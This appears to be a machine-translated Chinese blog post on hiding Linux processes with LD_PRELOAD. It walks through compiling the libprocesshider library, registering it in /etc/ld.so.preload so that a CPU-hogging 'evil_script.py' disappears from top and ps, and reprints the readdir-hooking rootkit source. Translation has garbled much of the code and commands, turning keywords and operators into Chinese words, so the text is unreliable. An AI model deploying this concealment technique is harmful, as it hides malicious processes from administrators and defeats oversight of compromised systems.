1。本文所用到的工具在https://github.com/gianlucaborello/libprocesshider可以下载
2。思路就是利用LD_PRELOAD来实现系统函数的劫持
<强> LD_PRELOAD是什么:强>
LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(运行时链接器),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。
1。下载程序编译
bmfxgkpt-yhd: ~ # git克隆https://github.com/gianlucaborello/libprocesshider.git 克隆到“libprocesshider”…… 远程:计数对象:26日完成。 远程:26(δ0),再利用0(δ0),pack-reused 26 打开对象:100%(26/26),完成。 bmfxgkpt-yhd: ~ # cd libprocesshider/bmfxgkpt-yhd: ~/libprocesshider # - wall gcc - fpic - shared - o libprocesshider。所以processhider。c的低密度脂蛋白 bmfxgkpt-yhd: ~/libprocesshider #
2。移动文件到/usr/地方/lib/目录下
<代码> mv libprocesshider。所以/usr/local/lib/代码>
3。把它加载到全局动态连接局
<代码>/usr/local/lib/libprocesshider回响。所以在祝辞/etc/ld.so.preload 代码>
测试
1。我们运行evil_script。py
2。此时发现在顶部与ps中都无法找到evil_script.py
此时我们发现cpu 100%,但是却找不到任何占用cpu高的程序
分析
#定义_GNU_SOURCE # include & lt; stdio.h> # include & lt; dlfcn.h> # include & lt; dirent.h> # include & lt; string.h> # include & lt; unistd.h>/* *每一道工艺都具有该名称将被排除在外 */静态const char * process_to_filter=癳vil_script.py”;/* *目录名字DIR *处理 */静态int get_dir_name (DIR * dirp, char * buf size_t大小) { int fd=dirfd (dirp); 如果(fd==1) { 返回0; } char tmp [64]; snprintf (tmp, sizeof (tmp)/proc/自/fd/% d”, fd); ssize_t ret=指向(tmp、缓冲区、大小); 如果(ret==1) { 返回0; } 缓冲区(ret)=0; 返回1; }/* *进程名字它的pid */静态int get_process_name (char * pid, char * buf) { “0123456789”如果strspn (pid) !=strlen (pid)) { 返回0; } char tmp [256]; snprintf (tmp sizeof (tmp)“/proc/% s/stat pid); 文件* f=fopen (tmp,“r”); 如果(f==NULL) { 返回0; } 如果(fgets (tmp, sizeof (tmp), f)==NULL) { 文件关闭(f); 返回0; } 文件关闭(f); int未使用; sscanf (tmp”% d(%(^))年代”,和未使用的,buf); 返回1; } #定义DECLARE_READDIR dirent, readdir () \ 静态struct dirent * (* original_ # # readdir) (DIR *)=零;\ struct dirent * readdir (DIR * dirp) \ {\ 如果(original_ # # readdir==NULL) {\ original_ # # readdir=dlsym (RTLD_NEXT, " readdir ");\ 如果(original_ # # readdir==NULL) \ {\ dlsym流(stderr,“错误:% s \ n”, dlerror ());\ }\ }\ struct dirent * dir;\ 而(1)\ {\ dir=original_ # # readdir (dirp);\ 如果(dir) {\ char dir_name [256];\ char process_name [256];\ 如果(get_dir_name (dirp dir_name, sizeof (dir_name)),,\ 比较字符串(dir_name/proc)==0,,\ get_process_name (dir→d_name process_name),,\ 比较字符串(process_name process_to_filter)==0) {\ 继续;\ }\ }\ 打破;\ }\ 返回dir;\ } DECLARE_READDIR (dirent64 readdir64); DECLARE_READDIR dirent, readdir ();
1。程序定义了一个变量process_to_filter来控制不显示哪个进程名
2。重写readdir,
<代码> strcmp (process_name process_to_filter)==0) 代码>
当发现当前进程名称与process_to_filter相同时,继续循环。
1。某些Linux中这个程序编译通不过
解决方法
删除最后两行中的一行
DECLARE_READDIR (dirent64 readdir64); DECLARE_READDIR dirent, readdir ();linux下隐藏进程的一种方法及遇到的坑